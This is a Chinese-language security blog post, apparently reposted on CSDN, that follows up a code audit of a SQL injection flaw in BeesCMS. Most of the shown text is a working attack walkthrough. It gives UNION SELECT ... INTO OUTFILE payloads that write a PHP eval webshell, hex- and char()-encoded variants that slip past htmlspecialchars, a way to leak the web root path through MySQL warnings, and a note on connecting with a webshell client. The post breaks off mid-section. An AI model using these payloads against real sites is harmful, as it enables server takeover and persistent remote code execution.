mysql注入审计_【代码审计】对Beescms SQL注入漏洞的进一步思考

本文探讨了如何利用MySQL注入的特性,包括Hex编码和Char函数,来绕过htmlspecialchars函数的限制,成功写入webshell。通过编码转换和使用内置函数,可以有效规避敏感字符过滤,实现SQL注入。
摘要由CSDN通过智能技术生成

0x02 Mysql注入的一个特性

上篇分析到,由于函数fl_html()的影响,其实就是php函数htmlspecialchars(),导致不能写shell到目标机器。其实这里利用Mysql注入的一个特性就可以达到注入的效果。即对shell部分进行Hex编码,或者用mysql函数char()就可以轻松绕过这里的限制。

方法一 hex编码

我们写入shell的语句是:

[SQL] 纯文本查看 复制代码user=admin' uni union on selselectect null,null,null,null,<?php @eval($_POST[a]); ?> in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

对shell部分进行hex编码为,这里我们采用Python简单编码:

[Python] 纯文本查看 复制代码>>> '<?php @eval($_POST[a]); ?>'.encode('hex')

'3c3f70687020406576616c28245f504f53545b615d293b203f3e'

写入shell的payload为:

[SQL] 纯文本查看 复制代码user=admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b615d293b203f3e in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

记得在编码转换的时候前面加0x或者直接用函数unhex亦可。

[AppleScript] 纯文本查看 复制代码unhex(3c3f70687020406576616c28245f504f53545b615d293b203f3e)

然后通过Burpsuit修改数据包写入,如图所示:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20161015192954.png (90.5 KB, 下载次数: 150)

2016-10-15 21:32 上传

本地查看写入的文件如图:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20161015193006.png (16.11 KB, 下载次数: 195)

2016-10-15 21:33 上传

可以看到在爆出密码的同时写入了webshell,下面我们尝试用菜刀链接,成功拿到webshell:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20161015193245.png (36.28 KB, 下载次数: 179)

2016-10-15 21:33 上传

方法二 使用char函数

Mysql内置函数char()可以将里边的ascii码参数转换为字符串,同样是上面编写的webshell转换成ascii的形式,这里我们用Python实现快速转换:

[Python] 纯文本查看 复制代码>>> map(ord, "<?php @eval($_POST[a]); ?>")

[60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62]

然后我们的注入语句就可以写作:

[SQL] 纯文本查看 复制代码user=admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

同样我们看看执行后的结果是成功写入了webshell:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20161015204259.png (92.05 KB, 下载次数: 192)

2016-10-15 21:33 上传

本地加入的a.php文件内容:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图201610151930061.png (16.11 KB, 下载次数: 203)

2016-10-15 21:54 上传

成功拿到webshell

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图201610151932451.png (36.28 KB, 下载次数: 169)

2016-10-15 21:55 上传

这里需要注意,有时候用char函数时,会出现乱码的情况,这个时候就需要将两种方式结合起来,采用下面的形式即可避免乱码出现:

[SQL] 纯文本查看 复制代码unhex(char(60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62))

以上两种方式就可以成功绕过一些敏感字符过滤,从而正常写入webshell。

0x03 绝对路径问题

正如@zusheng 师傅在上篇的评论,前面的测试均是在本地测试的,有个问题就是本地文件绝对路径我们是知道的,但是远程情况下,我们不知道网站绝对路径。在这种情况下我们是不是就没有办法继续了?其实不然,足够细心的话你会发现前面有张图里边已经有绝对路径出现了,没错,就是Burpsuit执行注入语句那张图。那么我们就知道了,需要让mysql出现Warring就可以得到路径了。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20161015205344.png (14.43 KB, 下载次数: 185)

2016-10-15 21:33 上传

比如还是写shell的语句,不知道路径的情况下随便写一个不存在的路径也可以达到效果,如下图:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

QQ截图20161015205941.png (95.34 KB, 下载次数: 183)

2016-10-15 21:33 上传

方法很多,多多尝试总会有新发现的!

0x04 对单引号问题的思考

上篇中有评论到单引号的问题,就是说既然htmlspecialchars函数过滤掉了单引号,那么注入语句中的单引号是怎么引入的?

针对这个问题,我查阅了一些资料,也在本地测试此函数,得出了一个结果,就是在默认情况下,函数只解析双引号,如图:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值